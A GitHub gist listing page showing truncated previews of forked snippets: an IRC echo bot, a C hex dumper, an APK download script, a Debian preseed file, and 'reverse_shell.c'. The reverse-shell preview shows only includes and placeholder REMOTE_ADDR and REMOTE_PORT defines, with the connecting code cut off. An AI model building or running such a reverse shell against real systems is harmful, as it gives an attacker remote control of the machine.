Skip to content

Instantly share code, notes, and snippets.

@chipsetx
chipsetx / ircecho.py
Created December 18, 2020 01:29 — forked from RobertSzkutak/ircecho.py
Echo, a simple IRC bot written in Python 3
#!/usr/bin/env python3
# ircecho.py
# Copyright (C) 2011 : Robert L Szkutak II - http://robertszkutak.com
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 3 of the License, or
# (at your option) any later version.
#
@chipsetx
chipsetx / reverse_shell.c
Created June 12, 2019 02:36 — forked from 0xabe-io/reverse_shell.c
Simple C code to create a reverse shell
/* credits to http://blog.techorganic.com/2015/01/04/pegasus-hacking-challenge/ */
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#define REMOTE_ADDR "XXX.XXX.XXX.XXX"
#define REMOTE_PORT XXX
@chipsetx
chipsetx / hexdump.c
Created June 9, 2019 23:09 — forked from cameronp98/hexdump.c
Hex dump program in C (only tested in windows 7)
/* usage: hexdump <file-in> [file-out] */
#include <stdio.h>
#define CHUNK 16
FILE *hexdump_open(const char *path, const char *mode) {
FILE *fp;
if (!(fp = fopen(path, mode))) {
printf("error opening '%s'", path);
@chipsetx
chipsetx / download.sh
Created February 1, 2017 16:29 — forked from gianlucascoccia/download.sh
Script to download an apk from goole play store, APkPure.com is used as actual download mirror
#! /bin/bash
# Script to download an apk from goole play store
# APkPure.com is used as actual download mirror
# You have to provide app name and app package name
# download.sh app-name app-package-name
if [ -z "$1" ] || [ -z "$2" ]
then
echo -e "Usage ./download.sh app-name app-package-name"
exit 1
@chipsetx
chipsetx / jessie-base.preseed
Created July 14, 2016 13:31 — forked from pgaskin/jessie-base.preseed
A preseed file for a minimal Debian Jessie installation
# How to run
# In the folder with these files
# sudo python -m SimpleHTTPServer 80
#
# Update the ip at the bottom of this file to the output of
# hostname -I
# This is your ip
#
# Start debian cd
# Press esc on menu